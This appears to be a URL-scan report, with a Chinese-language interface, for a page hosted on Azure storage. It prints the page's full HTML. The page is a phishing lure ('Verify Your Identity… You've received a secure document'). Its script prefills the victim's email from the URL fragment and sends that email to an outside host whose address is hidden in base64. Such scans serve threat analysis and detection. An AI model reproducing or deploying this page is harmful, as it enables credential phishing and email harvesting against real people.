- 掃描 ID:
- 0c515a2c-ce26-47b1-bfd6-5f976b31b236已完成
- 已提交的 URL:
- https://indshareing.z13.web.core.windows.net/
- 報告完成時間:
連結 · 找到 0 個
從頁面中識別的傳出連結
JavaScript 變數 · 找到 5 個
在頁面的視窗物件上載入的全域 JavaScript 變數是在函數外部宣告的變數,可從目前範圍內程式碼中的任何位置存取
名稱 | 類型 |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
continueLoading | function |
validateEmail | function |
主控台記錄訊息 · 找到 1 條
記錄到 Web 主控台的訊息
類型 | 類別 | 記錄 |
---|---|---|
error | network |
|
HTML
頁面的原始 HTML 主體
<!DOCTYPE html><html lang="en"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Verify Your Identity</title>
<style>
body {
font-family: "Segoe UI", sans-serif;
background-color: #f4f4f4;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
color: #333;
}
.container {
background-color: white;
border: 1px solid #ccc;
border-radius: 5px;
padding: 20px;
width: 90%;
max-width: 350px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
text-align: center;
}
.container img {
width: 80px;
margin-bottom: 15px;
}
.container h2 {
font-size: 20px;
color: #333;
margin-bottom: 15px;
}
.container p {
color: #666;
margin-bottom: 10px;
font-size: 14px;
}
.container input[type="email"] {
width: 100%;
padding: 10px;
border: 1px solid #ccc;
border-radius: 5px;
font-size: 14px;
box-sizing: border-box;
margin-bottom: 20px;
text-align: center;
}
.container button {
width: 100%;
padding: 10px;
background-color: #0078d4;
color: white;
border: none;
border-radius: 5px;
font-size: 16px;
cursor: pointer;
}
.container button:hover {
background-color: #005a9e;
}
.container .footer {
font-size: 12px;
color: #888;
margin-top: 20px;
}
</style>
</head>
<body>
<div class="container">
<img src="https://i.pcmag.com/imagery/reviews/07LERcQBRVgcVKystB3aGUU-11.fit_scale.size_1028x578.v1569471957.jpg" alt="Secure Document">
<h2>Verify Your Identity</h2>
<p><strong>You've received a secure document.</strong></p>
<p>Please verify your email address to access it.</p>
<form id="verification-form">
<label for="email-input" class="visually-hidden">Email Address</label>
<input id="email-input" type="email" placeholder="Enter email" required="">
<button type="submit">Next</button>
</form>
</div>
<script>
document.addEventListener('DOMContentLoaded', function() {
const emailInput = document.getElementById('email-input');
const hash = window.location.hash.substring(1); // Get hash from URL
const email = hash; // Use the hash directly as the email
if (validateEmail(email)) {
emailInput.value = email;
}
});
function continueLoading() {
const email = document.getElementById('email-input').value.trim().toLowerCase();
if (validateEmail(email)) {
const encodedLink = "aHR0cHM6Ly9jYXJvbGluYWRpbWVuc2lvbnMuY29tL24vP2MzWTliek0yTlY4eFgyNXZiU1p5WVc1a1BXTllTbWhSTWtrOUpuVnBaRDFWVTBWU01qVXhNVEl3TWpSVk1UTXhNVEkxTkRn"; // Encoded URL
const link = atob(encodedLink) + "=N0123N" + email; // Use email directly
window.location.href = link;
} else {
alert("Please enter a valid email.");
}
}
function validateEmail(email) {
const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return re.test(email);
}
document.getElementById('verification-form').addEventListener('submit', function(event) {
event.preventDefault();
continueLoading();
});
</script>
</body></html>